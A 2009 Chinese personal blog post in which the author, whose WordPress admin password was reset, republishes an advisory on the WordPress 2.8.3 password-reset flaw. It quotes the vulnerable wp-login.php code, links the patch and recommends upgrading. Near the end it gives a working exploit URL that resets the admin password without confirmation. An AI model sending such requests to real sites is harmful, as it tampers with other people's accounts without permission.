© / Posted in 知识如海 / August 14, 2009

         呵呵,很无语,用WordPress的都知道最近WordPress又更新了吧?更新到2.8.4了。相对于2.8.3,修补了一个管理员密码重置不需确认的漏洞。这个漏洞没有什么实际意义啊~~又获取不了密码,只是说是恶作剧似的让别人的密码重置掉。所以觉得,好像就没什么需要补的吧~~有谁那么无聊,做这损人不利己的事哦,去重置你的密码。

         谁知道,今天早上醒来,却发现收到一封邮件——我的密码被重置了!无语,谁整我玩啊?又不会怎么样,就是重新利用新密码登陆然后修改密码,就这样而已啊~~无语啊~~不过既然被整了,那就把补丁打上去吧,反正也就一个文件,替换一下wp-login.php就行了。这回看谁还整我!

 以下是漏洞的信息:

WordPress  2.8.3 管理员密码重置漏洞
英文原文:http://www.milw0rm.com/exploits/9410注:可以直接重置管理员的密码,但是无法获得重置后的密码,
因为重置后的密码是发到管理员信箱的,除非你把管理员的信箱也拿到

这个漏洞能利用找回密码功能,让重置密码的信件在未经管理员同意的情况下发送到管理员的邮箱当中.
WordPress已经发布修补这个漏洞的补丁:http://core.trac.wordpress.org/changeset/11804

也可以在这下载:changeset_r11804
描述:
WordPress中处理密码重置的方式看起来像这样:
您通过这个形式递交您的电子邮件或用户名/wp-login.php?action=lostpassword;
而WordPress会发送一封电子邮件来确认密码重置.
Someone has asked to reset the password for the following site and username.
(某人要求重新设置以下站点的用户名,密码)
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just ignore this email and nothing will happen
(如果需要重置密码请点击下面的地址,否则请忽略这封电子邮件)
http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag"
你点击链接,然后重设您的WordPress的管理员密码.
wp-login.php:
 function reset_password($key) {
    global $wpdb;
 
    $key = preg_replace('/[^a-z0-9]/i', '', $key);
 
    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));
 
    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));

 $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();
 
if ( isset($_GET['key']) )
    $action = 'resetpass';
 
// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';

 

 break;
 
case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);
 
    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }
 
    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();
 
break;

你能绕过第一步,从而可以随意进行重置管理员密码.
利用方法:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=

密码将被重置,而不需要任何的确认信息.

本文有 4 篇评论 ↓↓

    1. 幸好我是2.8.4,嘿嘿

    2. @doni
      也没什么大不了的,就是郁闷而已,又没啥损失,呵呵

    3. 怎么没留言板呢??

    4. @小华
      呵呵,访问量小得可以忽略不记,应该没啥人留言的,就没弄留言板

    添加新评论 ↑↑